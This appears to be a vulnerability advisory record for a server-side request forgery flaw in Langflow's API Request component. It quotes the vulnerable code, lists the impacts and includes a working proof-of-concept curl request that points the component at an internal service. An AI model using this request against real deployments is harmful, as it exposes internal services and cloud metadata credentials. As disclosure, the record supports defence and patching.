id: PYSEC-2026-1522 published: "2026-07-07T16:03:13.875150Z" modified: "2026-07-07T17:24:28.692135Z" aliases: - CVE-2025-68477 - GHSA-5993-7p27-66g5 summary: Langflow vulnerable to Server-Side Request Forgery details: "**Vulnerability Overview**\n\n\nLangflow provides an API Request component that can issue arbitrary HTTP requests within a flow. This component takes a user-supplied URL, performs only normalization and basic format checks, and then sends the request using a server-side httpx client. It does not block private IP ranges (127.0.0.1, the 10/172/192 ranges) or cloud metadata endpoints (169.254.169.254), and it returns the response body as the result.\n\nBecause the flow execution endpoints (/api/v1/run, /api/v1/run/advanced) can be invoked with just an API key, if an attacker can control the API Request URL in a flow, non-blind SSRF is possible—accessing internal resources from the server’s network context. This enables requests to, and collection of responses from, internal administrative endpoints, metadata services, and internal databases/services, leading to information disclosure and providing a foothold for further attacks.\n\n**Vulnerable Code**\n \n1. When a flow runs, the API Request URL is set via user input or tweaks, or it falls back to the value stored in the node UI.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L349-L359\n \n ```python\n @router.post(\"/run/{flow_id_or_name}\", response_model=None, response_model_exclude_none=True)\n async def simplified_run_flow(\n *,\n background_tasks: BackgroundTasks,\n flow: Annotated[FlowRead | None, Depends(get_flow_by_id_or_endpoint_name)],\n input_request: SimplifiedAPIRequest | None = None,\n stream: bool = False,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n context: dict | None = None,\n http_request: Request,\n ):\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/backend/base/langflow/api/v1/endpoints.py#L573-L588\n \n ```bash\n @router.post(\n \"/run/advanced/{flow_id_or_name}\",\n response_model=RunResponse,\n response_model_exclude_none=True,\n )\n async def experimental_run_flow(\n *,\n session: DbSession,\n flow: Annotated[Flow, Depends(get_flow_by_id_or_endpoint_name)],\n inputs: list[InputValueRequest] | None = None,\n outputs: list[str] | None = None,\n tweaks: Annotated[Tweaks | None, Body(embed=True)] = None,\n stream: Annotated[bool, Body(embed=True)] = False,\n session_id: Annotated[None | str, Body(embed=True)] = None,\n api_key_user: Annotated[UserRead, Depends(api_key_security)],\n ) -> RunResponse:\n ```\n \n2. Normalization/validation stage: It only checks that the URL is non-empty and well-formed. No blocking of private networks, localhost, or IMDS.\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L280-L289\n \n ```python\n def _normalize_url(self, url: str) -> str:\n \"\"\"Normalize URL by adding https:// if no protocol is specified.\"\"\"\n if not url or not isinstance(url, str):\n msg = \"URL cannot be empty\"\n raise ValueError(msg)\n \n url = url.strip()\n if url.startswith((\"http://\", \"https://\")):\n return url\n return f\"https://{url}\"\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L433-L438\n \n ```python\n url = self._normalize_url(url)\n \n # Validate URL\n if not validators.url(url):\n msg = f\"Invalid URL provided: {url}\"\n raise ValueError(msg)\n ```\n \n3. On the server side, it sends a request to an arbitrary URL using httpx.AsyncClient and exposes the response body as metadata[\"result\"].\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L312-L322\n \n ```python\n try:\n # Prepare request parameters\n request_params = {\n \"method\": method,\n \"url\": url,\n \"headers\": headers,\n \"json\": processed_body,\n \"timeout\": timeout,\n \"follow_redirects\": follow_redirects,\n }\n response = await client.request(**request_params)\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L335-L340\n \n ```python\n # Base metadata\n metadata = {\n \"source\": url,\n \"status_code\": response.status_code,\n \"response_headers\": response_headers,\n }\n ```\n \n https://github.com/langflow-ai/langflow/blob/fa21c4e5f11a697431ef471d63ff70d20c05c6dd/src/lfx/src/lfx/components/data/api_request.py#L364-L379\n \n ```python\n # Handle response content\n if is_binary:\n result = response.content\n else:\n try:\n result = response.json()\n except json.JSONDecodeError:\n self.log(\"Failed to decode JSON response\")\n result = response.text.encode(\"utf-8\")\n \n metadata[\"result\"] = result\n \n if include_httpx_metadata:\n metadata.update({\"headers\": headers})\n \n return Data(data=metadata)\n ```\n \n\n### PoC\n\n---\n\n**PoC Description**\n \n- I launched a Langflow server using the latest `langflowai/langflow:latest` Docker container, and a separate container `internal-api` that exposes an internal-only endpoint `/internal` on port 8000. Both containers were attached to the same user-defined network (`ssrf-net`), allowing communication by name or via the IP 172.18.0.3.\n- I added an API Request node to a Langflow flow and set the URL to the internal service (`http://172.18.0.3:8000/internal`). Then I invoked `/api/v1/run/advanced/` with an API key to perform SSRF. The response returned the internal service’s body in the `result` field, confirming non-blind SSRF.\n\n**PoC**\n\n- Langflow Setting\n \n \"image\"\n \n- Exploit\n \n ```bash\n curl -s -X POST 'http://localhost:7860/api/v1/run/advanced/0b7f7713-d88c-4f92-bcf8-0dafe250ea9d' \\\n -H 'Content-Type: application/json' \\\n -H 'x-api-key: sk-HHc93OjH_4ep_EhfWrweP1IwpooJ3ZZnYOu-HgqJV4M' \\\n --data-raw '{\n \"inputs\":[{\"components\":[],\"input_value\":\"\"}],\n \"outputs\":[\"Chat Output\"],\n \"tweaks\":{\"API Request\":{\"url_input\":\"http://172.18.0.3:8000/internal\",\"include_httpx_metadata\":false}},\n \"stream\":false\n }' | jq -r '.outputs[0].outputs[0].results.message.text | sub(\"^```json\\\\n\";\"\") | sub(\"\\\\n```$\";\"\") | fromjson | .result'\n ```\n \n \"image\"\n \n\n### Impact\n\n---\n\n- Scanning internal assets and data exfiltration: Attackers can access internal administrative HTTP endpoints, proxies, metrics dashboards, and management consoles to obtain sensitive information (versions, tokens, configurations).\n- Access to metadata services: In cloud environments, attackers can use 169.254.169.254, etc., to steal instance metadata and credentials.\n- Foothold for attacking internal services: Can forge requests by abusing inter-service trust and become the starting point of an SSRF→RCE chain (e.g., invoking an internal admin API).\n- Non-blind: Because the response body is returned to the client, attackers can immediately view and exploit the collected data.\n- Risk in multi-tenant environments: Bypassing tenant boundaries can cause cross-leakage of internal network information, resulting in high impact. Even in single-tenant setups, the risk remains high depending on internal network policies." affected: - package: name: langflow ecosystem: PyPI purl: pkg:pypi/langflow ranges: - type: ECOSYSTEM events: - introduced: "0" - fixed: 1.7.1 versions: - 0.0.31 - 0.0.32 - 0.0.33 - 0.0.40 - 0.0.44 - 0.0.45 - 0.0.46 - 0.0.52 - 0.0.53 - 0.0.54 - 0.0.55 - 0.0.56 - 0.0.57 - 0.0.58 - 0.0.61 - 0.0.62 - 0.0.63 - 0.0.64 - 0.0.65 - 0.0.66 - 0.0.67 - 0.0.68 - 0.0.69 - 0.0.70 - 0.0.71 - 0.0.72 - 0.0.73 - 0.0.74 - 0.0.75 - 0.0.76 - 0.0.78 - 0.0.79 - 0.0.80 - 0.0.81 - 0.0.83 - 0.0.84 - 0.0.85 - 0.0.86 - 0.0.87 - 0.0.88 - 0.0.89 - 0.1.0 - 0.1.2 - 0.1.3 - 0.1.4 - 0.1.5 - 0.1.6 - 0.1.7 - 0.2.0 - 0.2.1 - 0.2.10 - 0.2.11 - 0.2.12 - 0.2.13 - 0.2.2 - 0.2.3 - 0.2.4 - 0.2.5 - 0.2.6 - 0.2.7 - 0.2.8 - 0.2.9 - 0.3.0 - 0.3.1 - 0.3.2 - 0.3.3 - 0.3.4 - 0.4.0 - 0.4.1 - 0.4.10 - 0.4.11 - 0.4.12 - 0.4.14 - 0.4.15 - 0.4.16 - 0.4.17 - 0.4.18 - 0.4.19 - 0.4.2 - 0.4.20 - 0.4.21 - 0.4.3 - 0.4.4 - 0.4.5 - 0.4.6 - 0.4.7 - 0.4.8 - 0.4.9 - 0.5.0 - 0.5.0a0 - 0.5.0a1 - 0.5.0a2 - 0.5.0a3 - 0.5.0a4 - 0.5.0a5 - 0.5.0a6 - 0.5.0b0 - 0.5.0b2 - 0.5.0b3 - 0.5.0b4 - 0.5.0b5 - 0.5.0b6 - 0.5.1 - 0.5.10 - 0.5.11 - 0.5.12 - 0.5.2 - 0.5.3 - 0.5.4 - 0.5.5 - 0.5.6 - 0.5.7 - 0.5.8 - 0.5.9 - 0.6.0 - 0.6.0rc1 - 0.6.1 - 0.6.10 - 0.6.11 - 0.6.12 - 0.6.14 - 0.6.15 - 0.6.16 - 0.6.17 - 0.6.18 - 0.6.19 - 0.6.2 - 0.6.3 - 0.6.3a0 - 0.6.3a1 - 0.6.3a2 - 0.6.3a3 - 0.6.3a4 - 0.6.3a5 - 0.6.3a6 - 0.6.3a7 - 0.6.4 - 0.6.4a0 - 0.6.4a1 - 0.6.5 - 0.6.5a0 - 0.6.5a1 - 0.6.5a10 - 0.6.5a11 - 0.6.5a12 - 0.6.5a13 - 0.6.5a2 - 0.6.5a3 - 0.6.5a4 - 0.6.5a5 - 0.6.5a6 - 0.6.5a7 - 0.6.5a8 - 0.6.5a9 - 0.6.6 - 0.6.7 - 0.6.7a1 - 0.6.7a2 - 0.6.7a3 - 0.6.7a5 - 0.6.8 - 0.6.9 - 1.0.0 - 1.0.0a0 - 1.0.0a1 - 1.0.0a10 - 1.0.0a11 - 1.0.0a12 - 1.0.0a13 - 1.0.0a14 - 1.0.0a15 - 1.0.0a17 - 1.0.0a18 - 1.0.0a19 - 1.0.0a2 - 1.0.0a20 - 1.0.0a21 - 1.0.0a22 - 1.0.0a23 - 1.0.0a24 - 1.0.0a25 - 1.0.0a26 - 1.0.0a27 - 1.0.0a28 - 1.0.0a29 - 1.0.0a3 - 1.0.0a30 - 1.0.0a31 - 1.0.0a32 - 1.0.0a33 - 1.0.0a34 - 1.0.0a35 - 1.0.0a36 - 1.0.0a37 - 1.0.0a38 - 1.0.0a39 - 1.0.0a4 - 1.0.0a40 - 1.0.0a41 - 1.0.0a42 - 1.0.0a43 - 1.0.0a44 - 1.0.0a45 - 1.0.0a46 - 1.0.0a47 - 1.0.0a48 - 1.0.0a49 - 1.0.0a5 - 1.0.0a50 - 1.0.0a51 - 1.0.0a52 - 1.0.0a53 - 1.0.0a55 - 1.0.0a56 - 1.0.0a57 - 1.0.0a58 - 1.0.0a59 - 1.0.0a6 - 1.0.0a60 - 1.0.0a61 - 1.0.0a7 - 1.0.0a8 - 1.0.0a9 - 1.0.0rc0 - 1.0.0rc1 - 1.0.1 - 1.0.10 - 1.0.11 - 1.0.12 - 1.0.13 - 1.0.14 - 1.0.15 - 1.0.16 - 1.0.17 - 1.0.18 - 1.0.19 - 1.0.19.post1 - 1.0.19.post2 - 1.0.2 - 1.0.3 - 1.0.4 - 1.0.5 - 1.0.6 - 1.0.7 - 1.0.8 - 1.0.9 - 1.1.0 - 1.1.1 - 1.1.2 - 1.1.3 - 1.1.4 - 1.1.4.post1 - 1.2.0 - 1.3.0 - 1.3.1 - 1.3.2 - 1.3.3 - 1.3.4 - 1.4.0 - 1.4.1 - 1.4.2 - 1.4.3 - 1.5.0 - 1.5.0.post1 - 1.5.0.post2 - 1.5.1 - 1.6.0 - 1.6.1 - 1.6.2 - 1.6.3 - 1.6.4 - 1.6.5 - 1.6.6 - 1.6.7 - 1.6.8 - 1.6.9 - 1.7.0 references: - type: WEB url: https://github.com/langflow-ai/langflow/security/advisories/GHSA-5993-7p27-66g5 - type: ADVISORY url: https://nvd.nist.gov/vuln/detail/CVE-2025-68477 - type: PACKAGE url: https://github.com/langflow-ai/langflow - type: PACKAGE url: https://pypi.org/project/langflow - type: ADVISORY url: https://github.com/advisories/GHSA-5993-7p27-66g5 severity: - type: CVSS_V3 score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N